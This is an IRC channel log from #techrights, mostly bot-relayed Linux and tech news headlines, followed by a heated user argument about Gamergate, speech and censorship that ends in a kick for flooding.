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| *amonobeax (~amonobe@179.153.34.78) has joined #techrights | Oct 08 11:52 | |
| TweetTuxMachines | @tuxmachines "The Open Network Linux OS... days after HP and | Oct 08 12:00 |
| TweetTuxMachines | partners announced their own open-source | Oct 08 12:00 |
| TweetTuxMachines | network OS, OpenSwitch." http://t.co/vmfTHnK3L7 | Oct 08 12:00 |
| TweetTuxMachines | (www.eweek.com) | Oct 08 12:00 |
| -TechrightsBot-tr/#techrights-www.eweek.com | Big Switch, Facebook to Demonstrate Open Switch Software | Oct 08 12:00 | |
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| TweetTuxMachines | @tuxmachines Prison Architect 1.0 Is Finally Here, Lets You | Oct 08 12:00 |
| TweetTuxMachines | Build and Manage the Most Secure Prison | Oct 08 12:00 |
| TweetTuxMachines | http://t.co/9jBuazEa9z (news.softpedia.com) | Oct 08 12:00 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Prison Architect 1.0 Is Finally Here, Lets You Build and Manage the Most Secure Prison - Softpedia | Oct 08 12:00 | |
| TweetTuxMachines | @tuxmachines GNOME 3.20 to Be Dubbed Delhi | Oct 08 12:00 |
| TweetTuxMachines | http://t.co/qDY8jW8TpI (linux.softpedia.com) | Oct 08 12:00 |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | GNOME 3.20 to Be Dubbed Delhi - Softpedia | Oct 08 12:00 | |
| TweetTuxMachines | @tuxmachines Unprivileged eBPF Support In The Works For The | Oct 08 12:01 |
| TweetTuxMachines | Linux Kernel http://t.co/gLEQsae3XM | Oct 08 12:01 |
| TweetTuxMachines | (www.tuxmachines.org) | Oct 08 12:01 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Unprivileged eBPF Support In The Works For The Linux Kernel | Tux Machines | Oct 08 12:01 | |
| TweetTuxMachines | @tuxmachines September update for Plasma’s Wayland porting | Oct 08 12:01 |
| TweetTuxMachines | http://t.co/0b7KGwempw (www.tuxmachines.org) | Oct 08 12:01 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhrj | Oct 08 12:01 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | September update for Plasma’s Wayland porting | Tux Machines | Oct 08 12:01 | |
| TweetTuxMachines | @tuxmachines GNOME 3.20 to Be Dubbed Delhi | Oct 08 12:01 |
| TweetTuxMachines | http://t.co/B93YUsFUwG (www.tuxmachines.org) | Oct 08 12:01 |
| TweetTuxMachines | ........................................ http://ur1.ca/nyhrm | Oct 08 12:01 |
| -TechrightsBot-tr/#techrights-www.tuxmachines.org | GNOME 3.20 to Be Dubbed Delhi | Tux Machines | Oct 08 12:01 | |
| schestowitz | https://twitter.com/Zeipt/status/652069832842702849 | Oct 08 12:15 |
| -TechrightsBot-tr/#techrights-@Zeipt: @schestowitz no, thanx)) better - preseed/late_command="in-target apt-get install -y sysvinit-core" | Oct 08 12:15 | |
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| TweetTuxMachines | @tuxmachines Open Source for Log Analytics – Let’s get | Oct 08 12:44 |
| TweetTuxMachines | serious https://t.co/cyvNcgQ1iC | Oct 08 12:44 |
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| -TechrightsBot-tr/#techrights-www.linkedin.com | Open Source for Log Analytics – Let’s get serious | Erez Ofer | LinkedIn | Oct 08 12:44 | |
| TweetTuxMachines | @tuxmachines Open source curriculum for EMEA universities | Oct 08 12:44 |
| TweetTuxMachines | http://t.co/DSHl1iMVdY (www.cbronline.com) | Oct 08 12:44 |
| TweetTuxMachines | “student materials for Red Hat Academy are | Oct 08 12:44 |
| TweetTuxMachines | available online.” | Oct 08 12:44 |
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| -TechrightsBot-tr/#techrights-www.cbronline.com | Open source curriculum for EMEA universities - Computer Business Review | Oct 08 12:44 | |
| TweetTuxMachines | @tuxmachines Linus Torvalds Says 2016 Will Be the Year of | Oct 08 12:44 |
| TweetTuxMachines | the ARM Laptop http://t.co/cedhBSC3FX | Oct 08 12:44 |
| TweetTuxMachines | (news.softpedia.com) | Oct 08 12:44 |
| -TechrightsBot-tr/#techrights-news.softpedia.com | Linus Torvalds Says 2016 Will Be the Year of the ARM Laptop - Softpedia | Oct 08 12:44 | |
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| *TweetTuxMachines @RamiSilawi retweeted @tuxmachines: 'Linus Torvalds Says 2016 Will Be the Year...' | Oct 08 12:46 | |
| TweetTuxMachines | @tuxmachines Massive Steam Client Update Brings Chromium 45, | Oct 08 12:46 |
| TweetTuxMachines | Big Picture Improvements, FLAC Support | Oct 08 12:46 |
| TweetTuxMachines | http://t.co/cjleXiyKp9 (news.softpedia.com) | Oct 08 12:46 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Massive Steam Client Update Brings Chromium 45, Big Picture Improvements, FLAC Support - Softpedia | Oct 08 12:46 | |
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| -TechrightsBot-tr/#techrights-linux.softpedia.com | Steam for Linux Beta Client Gets More Fixes in New Update - Softpedia | Oct 08 12:46 | |
| schestowitz | https://joindiaspora.com/p/6679183 https://joindiaspora.com/p/6679291 | Oct 08 13:45 |
| -TechrightsBot-tr/#techrights-joindiaspora.com | Hopefully today's news about #linux will be dominated by news about... | Oct 08 13:45 | |
| -TechrightsBot-tr/#techrights-joindiaspora.com | Artificial intelligence is the next major wave of computing, Androi... | Oct 08 13:45 | |
| schestowitz | https://joindiaspora.com/p/6680222 | Oct 08 13:45 |
| -TechrightsBot-tr/#techrights-joindiaspora.com | "attractive are the printer’s precision, light weight and simple de... | Oct 08 13:45 | |
| schestowitz | https://joindiaspora.com/posts/6679183 https://joindiaspora.com/posts/6679291 | Oct 08 13:46 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Hopefully today's news about #linux will be dominated by news about Linux and not drama queens like Matthew Farrett https://twitter.com/mjg59/status/517719901356584960 | Oct 08 13:46 | |
| -TechrightsBot-tr/#techrights-@mjg59: @Max_x_Milia @IntelGaming @intel FART FART FART FART FART | Oct 08 13:46 | |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: Artificial intelligence is the next major wave of computing, Android creator says http://www.cnet.com/news/artificial-intelligence-is-the-next-major-wave-of-computing-android-creator-says/ sometimes just "intelligence" (spying) | Oct 08 13:46 | |
| -TechrightsBot-tr/#techrights--> www.cnet.com | Artificial intelligence is the next major wave of computing, Android creator says - CNET [ http://ur1.ca/nyivh ] | Oct 08 13:46 | |
| schestowitz | https://joindiaspora.com/posts/6680222 | Oct 08 13:46 |
| -TechrightsBot-tr/#techrights-@schestowitz@joindiaspora.com: "attractive are the printer’s precision, light weight and simple design, making it ideal for first-time 3D printer buyers" http://3dprint.com/99389/eleven-3d-printer-kickstarter/ | Oct 08 13:46 | |
| -TechrightsBot-tr/#techrights--> 3dprint.com | The Eleven 3D Printer by ISG3D is Now Available on Kickstarter - 3DPrint.com [ http://ur1.ca/nyivi ] | Oct 08 13:46 | |
| schestowitz | https://twitter.com/Twpalovi/status/652104833684668416 | Oct 08 13:56 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz Is any of this true? I thought @EPOorg looked like a good place to work. | Oct 08 13:56 | |
| schestowitz | Payment is OK, but it's part of a package deal | Oct 08 13:56 |
| schestowitz | If you're willing to be treated like dirt and generally work in a way that harms European SMEs, citizens, and science. | Oct 08 13:58 |
| schestowitz | https://twitter.com/Twpalovi/status/652106930568175616 | Oct 08 14:08 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz @EPOorg Cool, where do I sign up? | Oct 08 14:08 | |
| schestowitz | https://twitter.com/Twpalovi/status/652107707416186880 | Oct 08 14:08 |
| -TechrightsBot-tr/#techrights-@Twpalovi: Now, @schestowitz I don't believe @EPOorg is like that. @LNevilleRolf would not allow it. | Oct 08 14:08 | |
| schestowitz | She is the biggest part of the problem in the UK. See what she did for UPC and still does... | Oct 08 14:09 |
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| schestowitz | https://twitter.com/Twpalovi/status/652110763100868609 | Oct 08 14:26 |
| -TechrightsBot-tr/#techrights-@Twpalovi: @schestowitz what did@LNevilleRolf do? | Oct 08 14:26 | |
| schestowitz | See Techrights for details, search the name | Oct 08 14:26 |
| TweetTuxMachines | @RamiSilawi @tuxmachines your tweet takes center stage on | Oct 08 14:42 |
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| -TechrightsBot-tr/#techrights-www.rebelmouse.com | RamiSilawi | Oct 08 14:42 | |
| TweetTuxMachines | @tuxmachines Hands-On: KaOS Linux 2015.10 | Oct 08 14:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Hands-On: KaOS Linux 2015.10 | Tux Machines | Oct 08 14:42 | |
| TweetTuxMachines | @tuxmachines A First Look at IBM's New Linux Servers | Oct 08 14:42 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | A First Look at IBM's New Linux Servers | Tux Machines | Oct 08 14:42 | |
| TweetTuxMachines | @tuxmachines IBM aims Linux OpenPOWER systems at Intel | Oct 08 14:43 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | IBM aims Linux OpenPOWER systems at Intel | Tux Machines | Oct 08 14:43 | |
| TweetTuxMachines | @tuxmachines NetBSD 7.0 Released With New ARM Board Support, | Oct 08 14:43 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | NetBSD 7.0 Released With New ARM Board Support, Lua Kernel Scripting | Tux Machines | Oct 08 14:43 | |
| TweetTuxMachines | @tuxmachines Protecode: Open Source Code Will Power 95 Pct. | Oct 08 14:44 |
| TweetTuxMachines | of Companies by 2017 http://t.co/qELOX5g0gt | Oct 08 14:44 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Protecode: Open Source Code Will Power 95 Pct. of Companies by 2017 | Tux Machines | Oct 08 14:44 | |
| TweetTuxMachines | @tuxmachines Unity 8: All You Need to Know | Oct 08 14:47 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Unity 8: All You Need to Know - Softpedia | Oct 08 14:47 | |
| TweetTuxMachines | @tuxmachines Hands-On: KaOS Linux 2015.10 | Oct 08 14:47 |
| TweetTuxMachines | http://t.co/aeNxK2Np1n (www.zdnet.com) 'calls | Oct 08 14:47 |
| TweetTuxMachines | itself a "lean KDE Distribution"' | Oct 08 14:47 |
| -TechrightsBot-tr/#techrights-www.zdnet.com | Hands-On: KaOS Linux 2015.10 | ZDNet | Oct 08 14:47 | |
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| TweetTuxMachines | @tuxmachines A First Look at IBM's New Linux Servers | Oct 08 14:47 |
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| -TechrightsBot-tr/#techrights-www.linuxjournal.com | A First Look at IBM's New Linux Servers | Linux Journal | Oct 08 14:47 | |
| TweetTuxMachines | @tuxmachines IBM aims Linux OpenPOWER systems at Intel | Oct 08 14:57 |
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| -TechrightsBot-tr/#techrights-www.zdnet.com | IBM aims Linux OpenPOWER systems at Intel | ZDNet | Oct 08 14:57 | |
| TweetTuxMachines | @tuxmachines Manjaro 15.09 Now Has KDE Plasma 5.4.2 | Oct 08 14:57 |
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| -TechrightsBot-tr/#techrights-news.softpedia.com | Manjaro 15.09 Now Has KDE Plasma 5.4.2 - Softpedia | Oct 08 14:57 | |
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| schestowitz | https://twitter.com/T_Miller_Harper/status/652121309095268352 | Oct 08 15:05 |
| -TechrightsBot-tr/#techrights-@T_Miller_Harper: The Saudi's get most upset at the merest hint of outside interference in their interior policies... https://t.co/Nobr2436Ru | Oct 08 15:05 | |
| -TechrightsBot-tr/#techrights-@schestowitz: More Saudi Barbaria http://t.co/nk4ZpC0KRX when will the RAF bomb for regime change there like it does in #syria ? | Oct 08 15:05 | |
| schestowitz | They also bribe the media, as Wikileaks showed | Oct 08 15:05 |
| schestowitz | https://joindiaspora.com/posts/6680551 | Oct 08 15:06 |
| -TechrightsBot-tr/#techrights-Not a Diaspora post? | Oct 08 15:07 | |
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| *TweetTuxMachines @thirdtruck favourited '“in spite of Linux being a stretch goal...' | Oct 08 15:44 | |
| TweetTuxMachines | @tuxmachines “in spite of Linux being a stretch goal that | Oct 08 15:44 |
| TweetTuxMachines | retweeted by wasn’t reached, the game got a day-one release | Oct 08 15:44 |
| TweetTuxMachines | @thirdtruck for Linux yesterday.” https://t.co/uBVGOFlIzz | Oct 08 15:44 |
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| -TechrightsBot-tr/#techrights-www.gamingonlinux.com | Cyberpunk Adventure 'Read Only Memories' Released DRM Free And On Steam, Has Demo | GamingOnLinux | Oct 08 15:44 | |
| msb_ | A brief explanation of "Social Justice Warriors": A few years ago, some women noticed that the main roles of women in computer games were as rape victims, torture victims, beating victims, and murder victims. The women realized that these games were teaching -- programming -- young men to enjoy these attacks on women, and that some of the boys and men were being inspired to carry them out in real life. So the women objected publicly | Oct 08 15:46 |
| msb_ | to this situation. Some of the young men then published the addresses and phone numbers of the women and began harassing them. The men called this "doxxing" (documenting). The some of the men began making fraudulent calls to police, saying that violent crimes were occurring at the women's homes. The men called this "swatting". The whole affair is called Gamergate. | Oct 08 15:46 |
| msb_ | The men say that freedom of speech entitles game creators to make games that victimize women, and entitles game players to play and enjoy them. | Oct 08 15:48 |
| MinceR | it has gotten totally out of hand since then | Oct 08 15:49 |
| msb_ | The problem is, that humans are programmable by speech and video, and they can be programmed into psychopath behaviors like rape, torture, and murder. Some speech has consequences -- yelling "fire" in a crowded theater -- so freedom of speech requires some limitations. | Oct 08 15:50 |
| MinceR | ah, there's your agenda | Oct 08 15:50 |
| MinceR | censorship in the name of political correctness | Oct 08 15:51 |
| MinceR | because you don't realize that even if you bully people into using different words to speak, you won't change their minds | Oct 08 15:51 |
| MinceR | if you want people to be more progressive, you need civilizing influences, not language police | Oct 08 15:51 |
| MinceR | it's a gradual change that bullying can't do | Oct 08 15:52 |
| msb_ | The abusive language on the LKML is unnecessary, because code can be criticized (and rejected) without it. The abusive language is harmful, because when people read it they subconsciously imagine that it is being directed toward them, and that discourages them from participating in kernel programming. | Oct 08 15:52 |
| MinceR | then go contribute to garrettix | Oct 08 15:52 |
| MinceR | and systemd | Oct 08 15:53 |
| MinceR | they value politeness over working designs and implementations | Oct 08 15:53 |
| msb_ | There MinceR has lied about me SEVEN TIMES1 | Oct 08 15:53 |
| MinceR | or use windows, since what is said in private wasn't really said | Oct 08 15:53 |
| msb_ | There MinceR has lied about me SEVEN TIMES! | Oct 08 15:53 |
| msb_ | MinceR: has lied about me EIGHT TIMES! | Oct 08 15:54 |
| MinceR | go complain to the UN | Oct 08 15:54 |
| MinceR | they're looking for every tidbit they can use to support global oppression | Oct 08 15:54 |
| msb_ | MinceR has lied about me NINE TIMES! | Oct 08 15:55 |
| MinceR | that's some harsh cognitive dissonance right there | Oct 08 15:55 |
| msb_ | The term "political correctness" is used by different people to mean different things. I never use it. What I say is that speech and other media that clearly cause harm should not be emitted, with the choice preferably made by the speakers, who should realize exactly how that speech is harmful (by programming -- training -- people). | Oct 08 15:58 |
| MinceR | good thing censorship isn't harmful | Oct 08 15:58 |
| MinceR | oh wait | Oct 08 15:58 |
| MinceR | i wonder, is there any fascist agenda msb_ won't support? | Oct 08 15:58 |
| msb_ | MinceR has lied about me TEN TIMES! | Oct 08 15:59 |
| MinceR | ah, so there isn't | Oct 08 15:59 |
| MinceR | good to know | Oct 08 15:59 |
| msb_ | MinceR has lied about me TWELVE TIMES! | Oct 08 15:59 |
| TweetTuxMachines | @tuxmachines Links 8/10/2015: Manjaro Linux Releases, | Oct 08 16:00 |
| TweetTuxMachines | Linksys WRT1900ACS, FOSS at NHS | Oct 08 16:00 |
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| -TechrightsBot-tr/#techrights-techrights.org | Links 8/10/2015: Manjaro Linux Releases, Linksys WRT1900ACS, FOSS at NHS | Techrights | Oct 08 16:00 | |
| TweetTuxMachines | @tuxmachines Embedded/Devices http://t.co/hbGsryV6b2 | Oct 08 16:00 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Embedded/Devices | Tux Machines | Oct 08 16:00 | |
| TweetTuxMachines | @tuxmachines Leftovers: Gaming http://t.co/wpzTChWihk | Oct 08 16:00 |
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| -TechrightsBot-tr/#techrights-www.tuxmachines.org | Leftovers: Gaming | Tux Machines | Oct 08 16:00 | |
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| msb_ | Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them? Freedom of speech is designed to protect artistic expression, political exposition and advocacy, and the exposure of evil (harm) | Oct 08 16:06 |
| msb_ | that's being kept secret. It is not designed to protect programming people to be psychopaths. | Oct 08 16:06 |
| MinceR | apparently now magical thinking overrides freedom of speech | Oct 08 16:08 |
| MinceR | ahead into a Brave New World! | Oct 08 16:08 |
| MinceR | i'm sure the High Priest will tell us what words and topics to avoid so that we don't "program people to be psychopaths" | Oct 08 16:08 |
| msb_ | It's a characteristic of the universe we live in that some good things can cause harm when taken to extremes. The good things should not be banned, but we should refrain from taking them to those extremes. | Oct 08 16:09 |
| msb_ | MinceR has lied about me FIFTEEN TIMES! | Oct 08 16:09 |
| msb_ | Noti | Oct 08 16:10 |
| msb_ | Nothing that I've said involves "magical thinking", only clear and accurate thinking. | Oct 08 16:10 |
| MinceR | yeah, censoring people with the excuse that what they've said somehow "programs people to be psychopaths" is so clear | Oct 08 16:11 |
| MinceR | maybe msb_ could pray to putin to receive by revelation a list of words we're allowed to use | Oct 08 16:11 |
| MinceR | we could call it Newspeak | Oct 08 16:12 |
| MinceR | and then we could finally avoid doubleplusungood crimethink | Oct 08 16:12 |
| msb_ | MinceR has lied about me NINETEEN TIMES! | Oct 08 16:12 |
| msb_ | Nothing that I've said involves Fascism (which MinceR still does not know the meaning of). | Oct 08 16:13 |
| MinceR | msb_: here's a heads-up: 1984 is _not_ an instruction book. | Oct 08 16:13 |
| msb_ | MinceR has lied about me TWENTY TIMES! | Oct 08 16:14 |
| msb_ | When young boys spend hundreds of hours playing video games in which they rape, torture, and murder women, they get trained to accept these activities, and some get trained to enjoy them. And some of those go out and _do_ them. | Oct 08 16:16 |
| MinceR | so you want to ban video games too | Oct 08 16:16 |
| XRevan86 | msb_: Statistics say that's not true. | Oct 08 16:16 |
| msb_ | No, I want to ban those types of depictions of women from video games. | Oct 08 16:17 |
| XRevan86 | people who play voilent games don't have a tendency you express violence in real world | Oct 08 16:17 |
| msb_ | MinceR has lied about me TWENTY-ONE TIMES! | Oct 08 16:18 |
| MinceR | that's funny, if women are not depicted in such video games, the sjw-s attack the games for that reason | Oct 08 16:18 |
| MinceR | so there's no way to please sjw-s, except by banning video games entirely | Oct 08 16:18 |
| MinceR | msb_: do you want to ban bad language too? we could install Verbal Morality Statute Machines everywhere! | Oct 08 16:19 |
| msb_ | SJWs want women to be depicted in video games, but as participants, heroes, not as victims. | Oct 08 16:19 |
| MinceR | ah, so men should be the victims and women should be the heroes | Oct 08 16:19 |
| msb_ | MinceR has lied about me TWENTY-TWO TIMES! | Oct 08 16:19 |
| MinceR | that's not sexist at all, is it? | Oct 08 16:19 |
| MinceR | and of course you'd enforce this by banning games that don't obey your ideology | Oct 08 16:20 |
| msb_ | No, the victims, if there have to be any, should be equally divided among men and women. | Oct 08 16:20 |
| MinceR | but not the heroes. | Oct 08 16:20 |
| msb_ | MinceR has lied about me TWENTY-THREE TIMES! | Oct 08 16:21 |
| msb_ | The heroes should be equally divided too. | Oct 08 16:21 |
| MinceR | do you really believe that subordinating men to women will solve the problem of inequality between sexes? | Oct 08 16:21 |
| msb_ | MinceR has lied about me TWENTY-FOUR TIMES! | Oct 08 16:22 |
| MinceR | apparently this is what Totally Not Fascist msb_ believes... | Oct 08 16:22 |
| msb_ | I believe that men and women should have equal power and status, neither subordinate to the other. | Oct 08 16:22 |
| msb_ | MinceR has lied about me TWENTY-FIVE TIMES! | Oct 08 16:22 |
| MinceR | your other declarations contradict that. | Oct 08 16:23 |
| MinceR | but i guess you've grown accustomed to being logically inconsistent already. | Oct 08 16:23 |
| msb_ | MinceR has lied about me TWENTY-SEVEN TIMES! | Oct 08 16:23 |
| msb_ | XRevan86: Regardless of statistics, the fact is that some of the men involved in Gamergate made threatening phone calls to the women, and tried to get police to kill them. Those are violent acts. | Oct 08 16:24 |
| MinceR | which proves that we need global, pervasive censorship, how? | Oct 08 16:25 |
| msb_ | It doesn't. | Oct 08 16:25 |
| msb_ | MinceR has lied about me TWENTY-EIGHT TIMES! | Oct 08 16:25 |
| XRevan86 | msb_: That's bad, yes. | Oct 08 16:26 |
| MinceR | but it does if you word "global, pervasive censorship" differently? | Oct 08 16:26 |
| XRevan86 | So, what's the debate about then? | Oct 08 16:26 |
| MinceR | XRevan86: msb_ wants censorship everywhere for the sake of political correctness | Oct 08 16:26 |
| XRevan86 | msb_: Do you want censorship everywhere for the sake of political correctness? | Oct 08 16:26 |
| MinceR | XRevan86: he also wants video games to be banned and all males to be subordinated to all females | Oct 08 16:27 |
| XRevan86 | and that | Oct 08 16:27 |
| MinceR | XRevan86: he also wants putler to rule the entire planet. | Oct 08 16:27 |
| MinceR | XRevan86: but he's totally not fascist! | Oct 08 16:27 |
| XRevan86 | MinceR: I'm sure it's time to discuss Putin. | Oct 08 16:27 |
| msb_ | https://en.wikipedia.org/wiki/Gamergate_controversy | Oct 08 16:28 |
| -TechrightsBot-tr/#techrights-en.wikipedia.org | Gamergate controversy - Wikipedia, the free encyclopedia [ http://ur1.ca/nykir ] | Oct 08 16:28 | |
| MinceR | XRevan86: judging by msb_'s actions, it always is. | Oct 08 16:28 |
| msb_ | MinceR has lied about me THIRTY-TWO TIMES! | Oct 08 16:28 |
| XRevan86 | Why don't we make this simple. | Oct 08 16:29 |
| MinceR | yes, that controversy totally justifies turning the whole planet into a fascist dystopia | Oct 08 16:29 |
| XRevan86 | msb_: Do you think games censorship should be in place? | Oct 08 16:29 |
| MinceR | it will totally solve that controversy | Oct 08 16:29 |
| msb_ | MinceR has lied about me THIRTY-THREE TIMES! | Oct 08 16:29 |
| XRevan86 | MinceR: Why don't we not make this not simple? | Oct 08 16:29 |
| MinceR | also, using words that insult people is Just Wrong, but bullying is A-OK | Oct 08 16:30 |
| msb_ | I think that game creators should voluntarily stop preferentially portraying women as victims. I think that game review sites should not express approval of games that victimize women. I think that game players should stop buying and playing such games. | Oct 08 16:32 |
| MinceR | do you think "being bullied to" is "voluntary"? | Oct 08 16:32 |
| MinceR | because i don't. | Oct 08 16:32 |
| MinceR | or perhaps "voluntary" is code for "death threats from the state"? | Oct 08 16:32 |
| msb_ | MinceR has lied about me THIRTY-FIVE TIMES! | Oct 08 16:33 |
| MinceR | also, it's cute how msb_ still thinks "game review sites" are relevant in 2015 | Oct 08 16:33 |
| XRevan86 | msb_: That's reasonable. | Oct 08 16:33 |
| MinceR | after ign assimilated gamespy and turned it into the same bland, boring shit as ign | Oct 08 16:33 |
| MinceR | well after the death of on-paper gaming journalism | Oct 08 16:33 |
| XRevan86 | So, that's all there is, and all fuss… ugh. | Oct 08 16:33 |
| MinceR | XRevan86: this is what msb_ supports: https://www.washingtonpost.com/news/the-intersect/wp/2015/09/24/the-united-nations-has-a-radical-dangerous-vision-for-the-future-of-the-web/ | Oct 08 16:34 |
| -TechrightsBot-tr/#techrights-www.washingtonpost.com | The United Nations has a radical, dangerous vision for the future of the Web - The Washington Post [ http://ur1.ca/nuyat ] | Oct 08 16:34 | |
| XRevan86 | MinceR: Somehow I doubt that. | Oct 08 16:34 |
| MinceR | 165029 < msb_> The problem is, that humans are programmable by speech and video, and they can be programmed into psychopath behaviors like rape, torture, and murder. | Oct 08 16:35 |
| MinceR | Some speech has consequences -- yelling "fire" in a crowded theater -- so freedom of speech requires some limitations. | Oct 08 16:35 |
| MinceR | this is where he got from the conflict between sjw-s and gamergate | Oct 08 16:35 |
| XRevan86 | MinceR: ah | Oct 08 16:35 |
| MinceR | because apparently an online altercation justifies global censorship | Oct 08 16:35 |
| MinceR | surely people won't hate and harm each other if we force them to smile at all times and only ever use warm and fuzzy words | Oct 08 16:36 |
| MinceR | oh wait | Oct 08 16:36 |
| msb_ | MinceR has lied about me THIRTY-EIGHT TIMES! | Oct 08 16:36 |
| XRevan86 | msb_: Citation is incorrect? | Oct 08 16:38 |
| MinceR | XRevan86: he just randomly says that after i say something, often not even referring to him | Oct 08 16:38 |
| msb_ | MinceR has lied about me THIRTY-NINE TIMES! | Oct 08 16:40 |
| msb_ | XRevan86: Which citation? | Oct 08 16:40 |
| XRevan86 | (18:34:58) MinceR: 165029 < msb_> The problem is, that humans are programmable by speech and video, and they can be programmed into psychopath behaviors like rape, torture, and murder. Some speech has consequences -- yelling "fire" in a crowded theater -- so freedom of speech requires some limitations. | Oct 08 16:43 |
| XRevan86 | msb_: That one. | Oct 08 16:43 |
| msb_ | That's accurate. But I subsequently amplified on it with this: "Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them? | Oct 08 16:45 |
| msb_ | That's accurate. But I subsequently amplified on it with this: "Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them? | Oct 08 16:45 |
| MinceR | yes, flood some more | Oct 08 16:45 |
| msb_ | That's accurate. But I subsequently amplified on it with this: "Shouting "fire" in a crowded theater, making fraudulent calls to police to try to get them to harass and kill people, teaching children to hate and attack gay people, Jews, socialists, etc -- all of these actions are speech. All of them are very harmful. Does the ideal of Freedom of Speech protect them?" | Oct 08 16:45 |
| *ChanServ gives channel operator status to MinceR | Oct 08 16:46 | |
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| *MinceR has kicked msb_ from #techrights (stop flooding) | Oct 08 16:46 | |
| *MinceR removes channel operator status from MinceR | Oct 08 16:46 | |
| XRevan86 | MinceR: So, you have the power but you don't want to show it :) | Oct 08 16:46 |
| MinceR | i don't really have the power | Oct 08 16:47 |
| MinceR | Roy will soon bring our putin-fanatic bully troll back | Oct 08 16:47 |
| MinceR | for some more flooding | Oct 08 16:47 |
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| MinceR | but until then, we might want to discuss freedom that's relevant to our tech | Oct 08 16:47 |
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| MinceR | though i guess msb wanting global internet censorship is relevant | Oct 08 16:47 |
| schestowitz | MinceR: you're right | Oct 08 16:48 |
| schestowitz | msb promotes political agenda here, but... | Oct 08 16:48 |
| schestowitz | don't ban him | Oct 08 16:48 |
| schestowitz | unban him please | Oct 08 16:48 |
| schestowitz | I'm writing an article | Oct 08 16:48 |
| schestowitz | (and very tight on time, I start working soon) | Oct 08 16:49 |
| MinceR | told you so | Oct 08 16:49 |
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| XRevan86 | (18:47:43) msb_: I hit the wrong key twice. | Oct 08 16:50 |
| MinceR | i guess 3 minutes on topic every couple of months should be enough | Oct 08 16:50 |
| MinceR | i'm sure he did | Oct 08 16:50 |
| MinceR | just like putin, he always has excuses | Oct 08 16:50 |
| schestowitz | cheers mate | Oct 08 16:50 |
| schestowitz | [16:50] <XRevan86> (18:47:43) msb_: I hit the wrong key twice. | Oct 08 16:51 |
| schestowitz | So did the Buk operator :-p | Oct 08 16:51 |
| MinceR | at least some of the time msb claims no Buks were involved | Oct 08 16:51 |
| MinceR | just like the russian government | Oct 08 16:51 |
| XRevan86 | schestowitz: Also twice? %) | Oct 08 16:51 |
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| msb_ | . | Oct 08 16:51 |
| msb_ | I hit the wrong key twice. I was not "flooding". | Oct 08 16:52 |
| XRevan86 | msb_: Problem is that it is impossible to make a perfect censorship that only filters bad content. | Oct 08 16:52 |
| MinceR | it's possible to vehemently claim that imperfect censorship is perfect, though | Oct 08 16:53 |
| MinceR | and for many people that will be enough | Oct 08 16:53 |
| MinceR | they don't care for freedom of speech, they just pay lip service to it when it suits their ends | Oct 08 16:53 |
| msb_ | I favor education to show people that certain speech is harmful, and should not be engaged in. | Oct 08 16:54 |
| MinceR | that's not what the people you're shilling for are doing. | Oct 08 16:54 |
| msb_ | MinceR has lied about me FORTY TIMES! | Oct 08 16:54 |
| MinceR | bullying is not "showing people"; international laws mandating internet censorship is not "showing people"; throwing people into russian jail or gulag is not "showing people". | Oct 08 16:54 |
| msb_ | MinceR has lied about me FORTY-ONE TIMES! | Oct 08 16:55 |
| msb_ | I have not advocated any of those things. | Oct 08 16:55 |
| MinceR | and now msb_ lies about what he said in the past | Oct 08 16:55 |
| MinceR | as usual | Oct 08 16:55 |
| msb_ | MinceR has lied about me FORTY-THREE TIMES! | Oct 08 16:56 |
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| msb_ | MinceR: quote me to prove your claim. | Oct 08 16:56 |
| MinceR | and now msb_ wants me to amplify his pro-fascism shitflood | Oct 08 16:57 |
| MinceR | not going to happen. | Oct 08 16:57 |
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| msb_ | MinceR has lied about me FORTY-FOUR TIMES! His] usual lying excuse. | Oct 08 16:57 |
| msb_ | MinceR can't prove what he claims, so he uses that lame excuse. Another one he uses is that he "already did" prove something, when he actually didn't. | Oct 08 17:00 |
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| schestowitz | [15:54] <msb_> MinceR: has lied about me EIGHT TIMES! | Oct 08 17:47 |
| schestowitz | That sounds like snit, the anti-Linux troll from usenet | Oct 08 17:47 |
| msb_ | MinceR lied about me a total of 44 times in that discussion! | Oct 08 17:48 |
| schestowitz | boo hoo | Oct 08 17:49 |
| schestowitz | that sounds like kindergarten talk and why was there a discussion about ukraine in here anyway? | Oct 08 17:49 |
| msb_ | I simply noted it. It didn't bother me. | Oct 08 17:49 |
| msb_ | This was not about Ukraine, it was about SJW/Gamergate. | Oct 08 17:50 |
| MinceR | maybe msb_ is snit | Oct 08 17:51 |
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| msb_ | I wrote a very short summary about SJW (not involving MinceR at all), and MinceR popped up and said, "ah, there's your agenda -- censorship in the name of political correctness", | Oct 08 17:55 |
| MinceR | that's what you and the other sjw-s are campaigning for now | Oct 08 17:56 |
| MinceR | and you've mentioned plenty of times how freedom of speech must be limited | Oct 08 17:56 |
| schestowitz | [17:50] <msb_> This was not about Ukraine, it was about SJW/Gamergate. | Oct 08 17:58 |
| schestowitz | no connection to ukraine at all | Oct 08 17:58 |
| schestowitz | you keep using many excuses to divert to 9/11, ukraine, nazis etc. | Oct 08 17:58 |
